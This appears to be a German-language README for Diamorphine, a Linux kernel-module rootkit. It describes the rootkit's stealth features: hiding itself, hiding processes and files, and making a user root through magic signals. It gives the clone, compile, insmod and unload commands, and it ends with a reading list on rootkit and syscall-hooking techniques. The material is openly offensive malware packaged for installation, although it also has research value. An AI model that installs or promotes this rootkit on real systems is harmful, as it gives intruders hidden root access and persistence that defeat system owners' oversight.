
LKM-Rootkit für Linux-Kernel 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 und ARM64)
Diamorphine ist ein LKM-Rootkit für Linux-Kernel 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 und ARM64)
Beim Laden ist das Modul unsichtbar;
Jeden Prozess durch Senden von Signal 31 verstecken/einblenden;
Durch Senden von Signal 63 (an eine beliebige PID) wird das Modul (un)sichtbar;
Durch Senden von Signal 64 (an eine beliebige PID) wird der angegebene Benutzer zum Root;
Dateien oder Verzeichnisse, die mit MAGIC_PREFIX beginnen, werden unsichtbar;
Überprüfen, ob der Kernel 2.6.x/3.x/4.x/5.x/6.x ist
uname -r
Repository klonen
git clone https://github.com/m0nad/Diamorphine
In das Verzeichnis wechseln
cd Diamorphine
Kompilieren
make
Modul laden (als root)
insmod diamorphine.ko
Das Modul startet unsichtbar, um es zu entfernen, müssen Sie es sichtbar machen
kill -63 0
Dann das Modul entfernen (als root)
rmmod diamorphine
Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit
Linux Device Drivers http://lwn.net/Kernel/LDD3/
LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html
Memset's Blog http://memset.wordpress.com/
Linux On-the-fly-Kernel-Patching ohne LKM http://phrack.org/issues/58/7.html
EIN EINFACHES ROOTKIT FÜR LINUX SCHREIBEN https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
Linux Cross Reference http://lxr.free-electrons.com/
zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/
Linux Rootkits: Neue Methoden für Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/
FlipSwitch: Eine neuartige Syscall-Hooking-Technik https://www.elastic.co/security-labs/flipswitch-linux-rootkit